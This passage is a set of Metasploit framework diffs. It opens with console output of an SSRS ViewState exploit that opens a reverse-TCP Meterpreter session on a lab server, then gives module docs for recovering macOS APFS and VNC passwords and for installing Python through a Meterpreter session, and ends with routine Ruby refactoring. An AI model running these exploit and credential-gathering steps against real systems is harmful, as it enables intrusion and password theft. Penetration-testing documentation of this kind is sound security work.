msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
|
||||
PAYLOAD => windows/x64/meterpreter/reverse_tcp
|
||||
msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > set LHOST 192.168.159.128
|
||||
LHOST => 192.168.159.128
|
||||
msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > check
|
||||
[*] 192.168.159.141:80 - The service is running, but could not be validated.
|
||||
msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.159.128:4444
|
||||
[*] Command Stager progress - 24.99% done (2999/12002 bytes)
|
||||
[*] Command Stager progress - 49.98% done (5998/12002 bytes)
|
||||
[*] Command Stager progress - 74.96% done (8997/12002 bytes)
|
||||
[*] Sending stage (206403 bytes) to 192.168.159.141
|
||||
[*] Meterpreter session 3 opened (192.168.159.128:4444 -> 192.168.159.141:50376) at 2020-03-06 16:19:24 -0500
|
||||
[*] Command Stager progress - 99.83% done (11982/12002 bytes)
|
||||
[*] Command Stager progress - 100.00% done (12002/12002 bytes)
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT Service\ReportServer
|
||||
meterpreter > sysinfo
|
||||
Computer : SERVER2012
|
||||
OS : Windows 2012 R2 (6.3 Build 9600).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : MSFLAB
|
||||
Logged On Users : 10
|
||||
Meterpreter : x64/windows
|
||||
meterpreter >
|
||||
@@ -1,7 +1,7 @@
|
||||
This module uses a vulnerability in macOS High Sierra's `log` command. It uses the logs of the Disk Utility app to recover the password of an APFS encrypted volume from when it was created.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module uses a vulnerability in macOS High Sierra's `log` command. It uses the logs of the Disk Utility app to recover the password of an APFS encrypted volume from when it was created.
|
||||
|
||||
* macOS 10.13.0
|
||||
* macOS 10.13.1
|
||||
* macOS 10.13.2
|
||||
@@ -12,8 +12,6 @@ This module uses a vulnerability in macOS High Sierra's `log` command. It uses t
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Do: `use post/osx/gather/apfs_encrypted_volume_passwd`
|
||||
3. Do: set the `MOUNT_PATH` option if needed
|
||||
@@ -22,7 +20,7 @@ This module uses a vulnerability in macOS High Sierra's `log` command. It uses t
|
||||
|
||||
## Options
|
||||
|
||||
**MOUNT_PATH**
|
||||
### MOUNT_PATH
|
||||
|
||||
`MOUNT_PATH` is the path on the macOS system where the encrypted drive is (or was) mounted. This is *not* the path under `/Volumes`
|
||||
|
||||
|
||||
@@ -1,17 +1,15 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module shows Apple VNC Password from Mac OS X High Sierra.
|
||||
|
||||
The password can be set by visiting:
|
||||
System Preferences > Sharing > Screen Sharing > Computer Settings
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
* macOS 10.13.6
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Get an OSX meterpreter session running as root
|
||||
3. Do: `use post/osx/gather/vnc_password_osx`
|
||||
|
||||
@@ -0,0 +1,89 @@
|
||||
## Overview
|
||||
|
||||
This module downloads an embeddable Python3 distribution onto the target
|
||||
file system, granting pentesters access to a lightweight Python
|
||||
interpreter. This module does not require administrative privileges or
|
||||
user interaction with installation prompts.
|
||||
This is useful in cases where the in-memory python interpreter might
|
||||
be limited. If you only want to run a python script while connected,
|
||||
see https://github.com/rapid7/metasploit-framework/wiki/Python-Extension.
|
||||
|
||||
## Tested Version
|
||||
This module has been tested against:
|
||||
|
||||
1. Windows 10, 1903
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Get a Meterpreter session
|
||||
3. Do: `use post/windows/manage/install_python`
|
||||
4. Do: `set SESSION #`
|
||||
5. Optional Do: `set PYTHON_VERSION`
|
||||
6. Optional Do: `set PYTHON_URL`
|
||||
7. Optional Do: `set FILE_PATH`
|
||||
8. Do: `run`
|
||||
|
||||
|
||||
## Options
|
||||
**PYTHON_VERSION**
|
||||
|
||||
Specifies the Python version you would like to download. Downloads Python version 3.8.2 by default.
|
||||
|
||||
**PYTHON_URL**
|
||||
|
||||
Specifies the URL used to download the Python embeddable zip file.
|
||||
|
||||
**FILE_PATH**
|
||||
|
||||
Specifies the directory to place the Python embeddable zip file.
|
||||
Places Python zip file in the current working directory by default.
|
||||
|
||||
**CLEANUP**
|
||||
|
||||
If true, this option will delete the Python zip file as well as its extracted contents. It will also terminate running processes with name 'python', as you cannot delete the Python interpreter if it is actively running.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Get initial access: Create a Meterpreter exe using msfvenom, then transfer it to the target system via web server, SMB, etc. Execute the payload to get a session.
|
||||
|
||||
msf5 > handler -H 0.0.0.0 -P 4444 -p windows/meterpreter/reverse_tcp
|
||||
[*] Payload handler running as background job 0.
|
||||
|
||||
[*] Started reverse TCP handler on 0.0.0.0:4444
|
||||
msf5 >
|
||||
[*] Sending stage (180291 bytes) to 192.168.13.129
|
||||
[*] Meterpreter session 1 opened (192.168.13.130:4444 -> 192.168.13.129:50069) at 2020-03-04 20:32:59 -0500
|
||||
|
||||
Use the post module to install Python on the target filesystem
|
||||
|
||||
msf5 > use post/windows/manage/install_python
|
||||
msf5 post(windows/manage/install_python) > set SESSION 1
|
||||
SESSION => 1
|
||||
msf5 post(windows/manage/install_python) > exploit
|
||||
|
||||
[*] Downloading Python embeddable zip from https://www.python.org/ftp/python/3.8.2/python-3.8.2-embed-win32.zip
|
||||
[+] Compressed size: 1112
|
||||
[*] Extracting Python zip file: .\python-3.8.2-embed-win32.zip
|
||||
[+] Compressed size: 952
|
||||
[*] Ready to execute Python; spawn a command shell and enter:
|
||||
[+] .\python-3.8.2-embed-win32\python.exe -c "print('Hello, world!')"
|
||||
[!] Avoid using this python.exe interactively, as it will likely hang your terminal; use script files or 1 liners instead
|
||||
[*] Post module execution completed
|
||||
|
||||
Verify Python works
|
||||
|
||||
msf5 post(windows/manage/install_python) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > shell
|
||||
Process 2688 created.
|
||||
Channel 5 created.
|
||||
Microsoft Windows [Version 10.0.17763.1039]
|
||||
(c) 2018 Microsoft Corporation. All rights reserved.
|
||||
|
||||
C:\Users\buddha\AppData\Local\Temp>.\python-3.8.2-embed-win32\python.exe -c "print('Hello, world!')"
|
||||
.\python-3.8.2-embed-win32\python.exe -c "print('Hello, world!')"
|
||||
Hello, world!
|
||||
|
||||
Note that running this Python interpreter interactively may hang your command shell.
|
||||
@@ -86,7 +86,7 @@ module Metasploit
|
||||
when -5001 #kFPAuthContinue
|
||||
return parse_login_response_add_send_login_count(response, {:p => p, :g => g, :ra => ra, :ma => ma,
|
||||
:password => pass, :user => user})
|
||||
when -5023 #kFPUserNotAuth (User dosen't exists)
|
||||
when -5023 #kFPUserNotAuth (User dosen't exists)
|
||||
return :skip_user
|
||||
else
|
||||
return :connection_error
|
||||
|
||||
@@ -47,7 +47,7 @@ module Metasploit
|
||||
# Returns randomized c source code.
|
||||
#
|
||||
# @param c_template [String]
|
||||
#
|
||||
#
|
||||
# @raise [NotImplementedError] If the type is not supported.
|
||||
# @return [String] The compiled code.
|
||||
def self.generate_random_c(c_template, opts={})
|
||||
@@ -63,7 +63,7 @@ module Metasploit
|
||||
# Returns the binary of a randomized and compiled source code.
|
||||
#
|
||||
# @param c_template [String]
|
||||
#
|
||||
#
|
||||
# @raise [NotImplementedError] If the type is not supported.
|
||||
# @return [String] The compiled code.
|
||||
def self.compile_random_c(c_template, opts={})
|
||||
|
||||
@@ -90,7 +90,7 @@ module Metasploit
|
||||
|
||||
def to_credential
|
||||
self.parent = self
|
||||
self
|
||||
self
|
||||
end
|
||||
|
||||
# This method takes all of the attributes of the {Credential} and spits
|
||||
|
||||
@@ -6,7 +6,7 @@ module Metasploit
|
||||
|
||||
class DirectAdmin < HTTP
|
||||
|
||||
DEFAULT_PORT = 443
|
||||
DEFAULT_PORT = 443
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
|
||||
|
||||
@@ -25,7 +25,7 @@ module Metasploit
|
||||
end
|
||||
|
||||
|
||||
# Returns the latest sid from DirectAdmin Control Panel
|
||||
# Returns the latest sid from DirectAdmin Control Panel
|
||||
#
|
||||
# @return [String] The PHP Session ID for DirectAdmin Web Control login
|
||||
def get_last_sid
|
||||
|
||||
@@ -208,7 +208,7 @@ module Metasploit
|
||||
result_opts.merge!(status)
|
||||
when /^9\.x$/
|
||||
status = try_glassfish_9(credential)
|
||||
result_opts.merge!(status)
|
||||
result_opts.merge!(status)
|
||||
end
|
||||
rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
|
||||
@@ -29,7 +29,7 @@ module Metasploit
|
||||
|
||||
# Returns the latest sid from MSP
|
||||
#
|
||||
# @param res [Rex::Proto::Http::Response]
|
||||
# @param res [Rex::Proto::Http::Response]
|
||||
# @return [String] The session ID for MSP
|
||||
def get_sid(res)
|
||||
cookies = res.get_cookies
|
||||
|
||||
@@ -31,7 +31,7 @@ module Metasploit
|
||||
session_id = res.get_cookies.scan(/phpMyAdmin=(\w+);*/).flatten[0]
|
||||
token = Rex::Text.html_decode(res.body.scan(/token"\s*value="(.*?)"/).flatten[0])
|
||||
cookies = res.get_cookies.split[-2..-1].join(' ')
|
||||
|
||||
|
||||
info = [session_id, token, cookies]
|
||||
return no_connect if (info.empty? || session_id.empty? || token.empty? || cookies.empty?)
|
||||
|
||||
@@ -69,7 +69,7 @@ module Metasploit
|
||||
|
||||
def attempt_login(credential)
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
credential: credential,
|
||||
status: LOGIN_STATUS::INCORRECT,
|
||||
proof: nil,
|
||||
host: host,
|
||||
|
||||
@@ -411,7 +411,7 @@ module Metasploit
|
||||
# https://hashcat.net/wiki/doku.php?id=frequently_asked_questions#what_is_the_maximum_supported_password_length_for_optimized_kernels
|
||||
# Optimized Kernels has a large impact on speed. Here are some stats from Hashcat 5.1.0:
|
||||
|
||||
# Kali Linux on Dell Precision M3800
|
||||
# Kali Linux on Dell Precision M3800
|
||||
## hashcat -b -w 2 -m 0
|
||||
# * Device #1: Quadro K1100M, 500/2002 MB allocatable, 2MCU
|
||||
# Speed.#1.........: 185.9 MH/s (11.15ms) @ Accel:64 Loops:16 Thr:1024 Vec:1
|
||||
|
||||
@@ -0,0 +1,115 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
require 'pathname'
|
||||
require 'tmpdir'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module Profiler
|
||||
class << self
|
||||
def start
|
||||
return unless record_global_cpu? || record_global_memory?
|
||||
raise 'Cannot profile memory and cpu at the same time' if record_global_cpu? && record_global_memory?
|
||||
|
||||
if record_global_cpu?
|
||||
require 'ruby-prof'
|
||||
|
||||
results_path = tmp_cpu_results_path
|
||||
profile = RubyProf::Profile.new
|
||||
profile.start
|
||||
|
||||
at_exit do
|
||||
result = profile.stop
|
||||
save_cpu_result(result, path: results_path)
|
||||
end
|
||||
end
|
||||
|
||||
if record_global_memory?
|
||||
require 'memory_profiler'
|
||||
|
||||
results_path = tmp_memory_results_path
|
||||
profile = MemoryProfiler
|
||||
profile.start
|
||||
|
||||
at_exit do
|
||||
puts "Generating memory dump #{results_path}"
|
||||
result = profile.stop
|
||||
save_memory_result(result, path: results_path)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def record_cpu
|
||||
require 'ruby-prof'
|
||||
|
||||
results_path = tmp_cpu_results_path
|
||||
profile = RubyProf::Profile.new
|
||||
profile.start
|
||||
|
||||
yield
|
||||
|
||||
result = profile.stop
|
||||
save_cpu_result(result, path: results_path)
|
||||
end
|
||||
|
||||
def record_memory
|
||||
raise 'Cannot mix global memory recording and localised memory recording' if record_global_memory?
|
||||
|
||||
require 'memory_profiler'
|
||||
|
||||
results_path = tmp_memory_results_path
|
||||
profile = MemoryProfiler
|
||||
profile.start
|
||||
|
||||
yield
|
||||
|
||||
result = profile.stop
|
||||
save_memory_result(result, path: results_path)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def record_global_cpu?
|
||||
ENV['METASPLOIT_CPU_PROFILE']
|
||||
end
|
||||
|
||||
def record_global_memory?
|
||||
ENV['METASPLOIT_MEMORY_PROFILE']
|
||||
end
|
||||
|
||||
def tmp_path_for(name:)
|
||||
tmp_directory = Dir.mktmpdir("msf-profile-#{Time.now.strftime('%Y%m%d%H%M%S')}")
|
||||
Pathname.new(tmp_directory).join(name)
|
||||
end
|
||||
|
||||
def tmp_cpu_results_path
|
||||
path = tmp_path_for(name: 'cpu')
|
||||
::FileUtils.mkdir_p(path)
|
||||
path
|
||||
end
|
||||
|
||||
def tmp_memory_results_path
|
||||
tmp_path_for(name: 'memory')
|
||||
end
|
||||
|
||||
def save_cpu_result(result, path:)
|
||||
require 'rex/compat'
|
||||
|
||||
puts "Generating CPU dump #{path}"
|
||||
|
||||
printer = RubyProf::MultiPrinter.new(result, %i[flat graph_html tree stack])
|
||||
printer.print(path: path)
|
||||
|
||||
Rex::Compat.open_file(path)
|
||||
end
|
||||
|
||||
def save_memory_result(result, path:)
|
||||
require 'rex/compat'
|
||||
|
||||
result.pretty_print(to_file: path)
|
||||
Rex::Compat.open_file(path)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -30,7 +30,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "5.0.78"
|
||||
VERSION = "5.0.83"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -41,7 +41,7 @@ module Auxiliary
|
||||
# Whether or not the exploit should be run in the context of a background
|
||||
# job.
|
||||
#
|
||||
def self.run_simple(omod, opts = {}, &block)
|
||||
def self.run_simple(omod, opts = {}, job_listener: Msf::Simple::NoopJobListener.instance, &block)
|
||||
|
||||
# Clone the module to prevent changes to the original instance
|
||||
mod = omod.replicant
|
||||
@@ -69,8 +69,8 @@ module Auxiliary
|
||||
end
|
||||
|
||||
run_uuid = Rex::Text.rand_text_alphanumeric(24)
|
||||
mod.framework.ready << run_uuid
|
||||
ctx = [mod, run_uuid]
|
||||
job_listener.waiting run_uuid
|
||||
ctx = [mod, run_uuid, job_listener]
|
||||
if(mod.passive? or opts['RunAsJob'])
|
||||
mod.job_id = mod.framework.jobs.start_bg_job(
|
||||
"Auxiliary: #{mod.refname}",
|
||||
@@ -108,7 +108,7 @@ module Auxiliary
|
||||
#
|
||||
# The local output through which data can be displayed.
|
||||
#
|
||||
def self.check_simple(mod, opts)
|
||||
def self.check_simple(mod, opts, job_listener: Msf::Simple::NoopJobListener.instance)
|
||||
Msf::Simple::Framework.simplify_module(mod, false)
|
||||
|
||||
mod._import_extra_options(opts)
|
||||
@@ -122,8 +122,8 @@ module Auxiliary
|
||||
|
||||
|
||||
run_uuid = Rex::Text.rand_text_alphanumeric(24)
|
||||
mod.framework.ready << run_uuid
|
||||
ctx = [mod, run_uuid]
|
||||
job_listener.waiting run_uuid
|
||||
ctx = [mod, run_uuid, job_listener]
|
||||
|
||||
if opts['RunAsJob']
|
||||
mod.job_id = mod.framework.jobs.start_bg_job(
|
||||
@@ -165,19 +165,17 @@ protected
|
||||
def self.job_run_proc(ctx, &block)
|
||||
mod = ctx[0]
|
||||
run_uuid = ctx[1]
|
||||
job_listener = ctx[2]
|
||||
begin
|
||||
mod.setup
|
||||
mod.framework.events.on_module_run(mod)
|
||||
begin
|
||||
mod.framework.running << run_uuid
|
||||
mod.framework.ready.delete run_uuid
|
||||
job_listener.start run_uuid
|
||||
mod.setup
|
||||
mod.framework.events.on_module_run(mod)
|
||||
result = block.call(mod)
|
||||
mod.framework.results[run_uuid] = {result: result}
|
||||
job_listener.completed(run_uuid, result, mod)
|
||||
rescue ::Exception => e
|
||||
mod.framework.results[run_uuid] = {error: e.to_s}
|
||||
job_listener.failed(run_uuid, e, mod)
|
||||
raise
|
||||
ensure
|
||||
mod.framework.running.delete run_uuid
|
||||
end
|
||||
rescue Msf::Auxiliary::Complete
|
||||
mod.cleanup
|
||||
@@ -194,7 +192,7 @@ protected
|
||||
return
|
||||
rescue ::Interrupt => e
|
||||
mod.error = e
|
||||
mod.print_error("Stopping running againest current target...")
|
||||
mod.print_error("Stopping running against current target...")
|
||||
mod.cleanup
|
||||
mod.print_status("Control-C again to force quit all targets.")
|
||||
begin
|
||||
|
||||
@@ -177,7 +177,7 @@ module Exploit
|
||||
#
|
||||
# The local output through which data can be displayed.
|
||||
#
|
||||
def self.check_simple(mod, opts)
|
||||
def self.check_simple(mod, opts, job_listener: Msf::Simple::NoopJobListener.instance)
|
||||
Msf::Simple::Framework.simplify_module(mod, false)
|
||||
mod._import_extra_options(opts)
|
||||
|
||||
@@ -190,12 +190,12 @@ module Exploit
|
||||
mod.validate
|
||||
|
||||
run_uuid = Rex::Text.rand_text_alphanumeric(24)
|
||||
mod.framework.ready << run_uuid
|
||||
ctx = [mod, run_uuid]
|
||||
job_listener.waiting run_uuid
|
||||
ctx = [mod, run_uuid, job_listener]
|
||||
|
||||
if opts['RunAsJob']
|
||||
mod.job_id = mod.framework.jobs.start_bg_job(
|
||||
"Auxiliary: #{mod.refname} check",
|
||||
"Exploit: #{mod.refname} check",
|
||||
ctx,
|
||||
Proc.new { |ctx_| self.job_check_proc(ctx_) },
|
||||
Proc.new { |ctx_| nil }
|
||||
@@ -218,17 +218,15 @@ module Exploit
|
||||
def self.job_check_proc(ctx)
|
||||
mod = ctx[0]
|
||||
run_uuid = ctx[1]
|
||||
job_listener = ctx[2]
|
||||
begin
|
||||
job_listener.start run_uuid
|
||||
mod.setup
|
||||
mod.framework.running << run_uuid
|
||||
mod.framework.ready.delete run_uuid
|
||||
result = mod.has_check? ? mod.check : Msf::Exploit::CheckCode::Unsupported
|
||||
mod.framework.results[run_uuid] = {result: result}
|
||||
job_listener.completed(run_uuid, result, mod)
|
||||
rescue => e
|
||||
mod.framework.results[run_uuid] = {error: e.to_s}
|
||||
job_listener.failed(run_uuid, e, mod)
|
||||
mod.handle_exception e
|
||||
ensure
|
||||
mod.framework.running.delete run_uuid
|
||||
end
|
||||
|
||||
return result
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'msf/base/simple'
|
||||
require 'msf/base/simple/framework/module_paths'
|
||||
require 'msf/base/simple/noop_job_listener'
|
||||
|
||||
module Msf
|
||||
module Simple
|
||||
@@ -150,9 +151,6 @@ module Framework
|
||||
#
|
||||
def init_simplified
|
||||
self.stats = Statistics.new(self)
|
||||
self.ready = Set.new
|
||||
self.running = Set.new
|
||||
self.results = Hash.new
|
||||
end
|
||||
|
||||
#
|
||||
@@ -174,6 +172,7 @@ module Framework
|
||||
#
|
||||
attr_reader :stats
|
||||
|
||||
|
||||
#
|
||||
# Boolean indicating whether the cache is initialized yet
|
||||
#
|
||||
@@ -183,31 +182,12 @@ module Framework
|
||||
# Thread of the running rebuild operation
|
||||
#
|
||||
attr_reader :cache_thread
|
||||
|
||||
#
|
||||
# {Set<String>} of module run/check UUIDs waiting to be kicked off
|
||||
#
|
||||
attr_reader :ready
|
||||
|
||||
#
|
||||
# {Hash<String,Hash>} of module run/check results, by UUID. Successful runs
|
||||
# look like `{result: check_code}` and errors like `{error: message}`.
|
||||
#
|
||||
attr_reader :results
|
||||
|
||||
#
|
||||
# {Set<String>} of module run/check UUIDs currently in progress
|
||||
#
|
||||
attr_reader :running
|
||||
attr_writer :cache_initialized # :nodoc:
|
||||
attr_writer :cache_thread # :nodoc:
|
||||
|
||||
|
||||
protected
|
||||
|
||||
attr_writer :ready # :nodoc:
|
||||
attr_writer :results # :nodoc:
|
||||
attr_writer :running # :nodoc:
|
||||
attr_writer :stats # :nodoc:
|
||||
|
||||
end
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
require 'singleton'
|
||||
|
||||
module Msf
|
||||
module Simple
|
||||
class NoopJobListener
|
||||
|
||||
include Singleton
|
||||
|
||||
def waiting(id); end
|
||||
|
||||
def start(id); end
|
||||
|
||||
def completed(id, result, mod); end
|
||||
|
||||
def failed(id, error, mod); end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -44,7 +44,7 @@ module Auxiliary::Brocade
|
||||
|
||||
login_object
|
||||
end
|
||||
|
||||
|
||||
|
||||
def brocade_config_eater(thost, tport, config)
|
||||
# this is for brocade type devices.
|
||||
@@ -104,7 +104,7 @@ module Auxiliary::Brocade
|
||||
end
|
||||
|
||||
# snmp
|
||||
# Example lines:
|
||||
# Example lines:
|
||||
# snmp-server community 1 $Si2^=d rw
|
||||
# these at times look base64 encoded, which they may be, but are also encrypted
|
||||
config.scan(/snmp-server community (?<snmp_id>[\d]+) (?<snmp_community>.+) (?<snmp_permissions>rw|ro)/i).each do |result|
|
||||
|
||||
@@ -25,7 +25,7 @@ module Auxiliary::CRand
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
|
||||
@randtbl =
|
||||
[
|
||||
# we omit TYPE_3 from here, not needed
|
||||
@@ -38,7 +38,7 @@ module Auxiliary::CRand
|
||||
-205601318,
|
||||
]
|
||||
|
||||
@unsafe_state = {
|
||||
@unsafe_state = {
|
||||
"fptr" => SEP_3,
|
||||
"rptr" => 0,
|
||||
"state" => 0,
|
||||
@@ -56,7 +56,7 @@ module Auxiliary::CRand
|
||||
seed = 1
|
||||
end
|
||||
state[0] = seed
|
||||
|
||||
|
||||
dst = 0
|
||||
word = seed
|
||||
kc = DEG_3
|
||||
@@ -70,10 +70,10 @@ module Auxiliary::CRand
|
||||
dst += 1
|
||||
state[dst] = word
|
||||
end
|
||||
|
||||
|
||||
@unsafe_state['fptr'] = @unsafe_state['rand_sep']
|
||||
@unsafe_state['rptr'] = 0
|
||||
|
||||
|
||||
kc *= 10
|
||||
kc -= 1
|
||||
while (kc >= 0)
|
||||
@@ -81,17 +81,17 @@ module Auxiliary::CRand
|
||||
kc -= 1
|
||||
end
|
||||
end
|
||||
|
||||
# Emulate the behaviour of C's rand
|
||||
|
||||
# Emulate the behaviour of C's rand
|
||||
def random_r
|
||||
buf = @unsafe_state
|
||||
state = buf['state']
|
||||
|
||||
|
||||
fptr = buf['fptr']
|
||||
rptr = buf['rptr']
|
||||
end_ptr = buf['end_ptr']
|
||||
val = @randtbl[fptr] += @randtbl[rptr]
|
||||
|
||||
|
||||
result = (val >> 1) & 0x7fffffff
|
||||
fptr += 1
|
||||
if (fptr >= end_ptr)
|
||||
@@ -105,7 +105,7 @@ module Auxiliary::CRand
|
||||
end
|
||||
buf['fptr'] = fptr
|
||||
buf['rptr'] = rptr
|
||||
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
|
||||
@@ -75,7 +75,7 @@ module Auxiliary::Juniper
|
||||
end
|
||||
|
||||
# snmp
|
||||
# Example lines:
|
||||
# Example lines:
|
||||
# set snmp community "sales" Read-Write Trap-on traffic version v1
|
||||
config.scan(/set snmp community "(?<snmp_community>[a-z0-9]+)" (?<snmp_permissions>Read-Write|Read-Only)/i).each do |result|
|
||||
snmp_community = result[0].strip
|
||||
@@ -214,7 +214,7 @@ module Auxiliary::Juniper
|
||||
cred[:private_type] = :password
|
||||
cred[:service_name] = 'snmp'
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
end
|
||||
|
||||
config.scan(/radius-server \{[\s]+(?<radius_server>[0-9\.]{7,15}) secret "(?<radius_hash>[^"]+)";/i).each do |result|
|
||||
radius_hash = result[1].strip
|
||||
|
||||
@@ -10,7 +10,7 @@ module Msf::DBManager::IPAddress
|
||||
Rex::Socket.is_ipv4?(addr)
|
||||
else
|
||||
false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def ipv6_validator(addr)
|
||||
@@ -20,7 +20,7 @@ module Msf::DBManager::IPAddress
|
||||
Rex::Socket.is_ipv6?(addr)
|
||||
else
|
||||
false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def rfc3330_reserved(ip)
|
||||
|
||||
@@ -70,7 +70,7 @@ module Msf::DBManager::Workspace
|
||||
|
||||
def delete_workspaces(opts)
|
||||
raise ArgumentError.new("The following options are required: :ids") if opts[:ids].nil?
|
||||
|
||||
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
deleted = []
|
||||
default_deleted = false
|
||||
|
||||
@@ -302,4 +302,26 @@ class PluginLoadError < RuntimeError
|
||||
end
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# This exception is raised if a payload option string exceeds the maximum
|
||||
# allowed size during the payload generation.
|
||||
#
|
||||
##
|
||||
class PayloadItemSizeError < ArgumentError
|
||||
include Exception
|
||||
|
||||
def initialize(item = nil, max_size = nil)
|
||||
@item = item
|
||||
@max_size = max_size
|
||||
end
|
||||
|
||||
def to_s
|
||||
"Option value: #{item.slice(0..30)} is too big (Current length: #{item.length}, Maximum length: #{max_size})."
|
||||
end
|
||||
|
||||
attr_reader :item # The content of the payload option (for example a URL)
|
||||
attr_reader :max_size # The maximum allowed size of the payload option
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -37,7 +37,7 @@ module Client
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('DnsClientDefaultNS', [ false, "Specify the default to use for queries, space separated", '8.8.8.8 8.8.4.4' ]),
|
||||
OptString.new('DnsClientDefaultNS', [ false, "Specify the default to use for queries, space separated", '8.8.8.8 8.8.4.4' ]),
|
||||
OptInt.new('DnsClientRetry', [ false, "Number of times to try to resolve a record if no response is received", 2]),
|
||||
OptInt.new('DnsClientRetryInterval', [ false, "Number of seconds to wait before doing a retry", 2]),
|
||||
OptBool.new('DnsClientReportARecords', [false, "Add hosts found via BRT and RVL to DB", true]),
|
||||
@@ -204,7 +204,7 @@ module Client
|
||||
nameservers = datastore['NS'].split(/\s|,/)
|
||||
end
|
||||
|
||||
invalid = nameservers.select { |ns| !Rex::Socket.dotted_ip?(ns) }
|
||||
invalid = nameservers.select { |ns| !Rex::Socket.dotted_ip?(ns) }
|
||||
if !invalid.empty?
|
||||
raise "Nameservers must be IP addresses. The following were invalid: #{invalid.join(", ")}"
|
||||
end
|
||||
|
||||
@@ -16,7 +16,7 @@ module Common
|
||||
MATCH_HOSTNAME = Rex::Proto::DNS::Constants::MATCH_HOSTNAME
|
||||
|
||||
Packet = Rex::Proto::DNS::Packet
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -145,7 +145,7 @@ module Exploit::EXE
|
||||
exe_init_options(opts)
|
||||
plat = opts[:platform]
|
||||
pl = opts[:code]
|
||||
|
||||
|
||||
pl ||= payload.encoded
|
||||
|
||||
#Ensure opts[:arch] is an array
|
||||
|
||||
@@ -136,7 +136,7 @@ module Exploit::Remote::Ftp
|
||||
def connect_login(global = true, verbose = nil)
|
||||
verbose ||= datastore['FTPDEBUG']
|
||||
verbose ||= datastore['VERBOSE']
|
||||
ftpsock = connect(global, verbose)
|
||||
ftpsock = ftp_connect(global, verbose)
|
||||
|
||||
if !(user and pass)
|
||||
print_error("No username and password were supplied, unable to login")
|
||||
@@ -371,6 +371,8 @@ module Exploit::Remote::Ftp
|
||||
(datastore['FTPDataTimeout'] || 1).to_i
|
||||
end
|
||||
|
||||
alias ftp_connect connect
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
|
||||
@@ -41,7 +41,7 @@ module Exploit::Remote::HttpClient
|
||||
OptBool.new('DigestAuthIIS', [false, 'Conform to IIS, should work for most servers. Only set to false for non-IIS servers', true]),
|
||||
Opt::SSLVersion,
|
||||
OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]),
|
||||
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION']),
|
||||
OptString.new('DOMAIN', [ true, 'The domain to use for Windows authentication', 'WORKSTATION']),
|
||||
OptFloat.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout']),
|
||||
OptBool.new('HttpPartialResponses', [false, 'Return partial HTTP responses despite timeouts', false]),
|
||||
OptBool.new('HttpTrace', [false, 'Show the raw HTTP requests and responses', false]),
|
||||
|
||||
@@ -85,12 +85,12 @@ module Msf
|
||||
# @return [Byte, nil] the extracted byte if success, nil otherwise
|
||||
def extract_byte(io)
|
||||
byte_raw = io.read(1)
|
||||
|
||||
|
||||
unless byte_raw && byte_raw.length == 1
|
||||
return nil
|
||||
end
|
||||
byte = byte_raw.unpack('C')[0]
|
||||
|
||||
|
||||
byte
|
||||
end
|
||||
|
||||
@@ -120,7 +120,7 @@ module Msf
|
||||
unless ref && (ref == 'UnicastRef' || ref == 'UnicastRef2')
|
||||
return nil
|
||||
end
|
||||
|
||||
|
||||
if ref == 'UnicastRef2'
|
||||
form = extract_byte(io)
|
||||
|
||||
|
||||
@@ -156,10 +156,10 @@ protected
|
||||
raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not exist") unless comm
|
||||
raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm
|
||||
when nil, ''
|
||||
comm = nil
|
||||
comm = nil
|
||||
else
|
||||
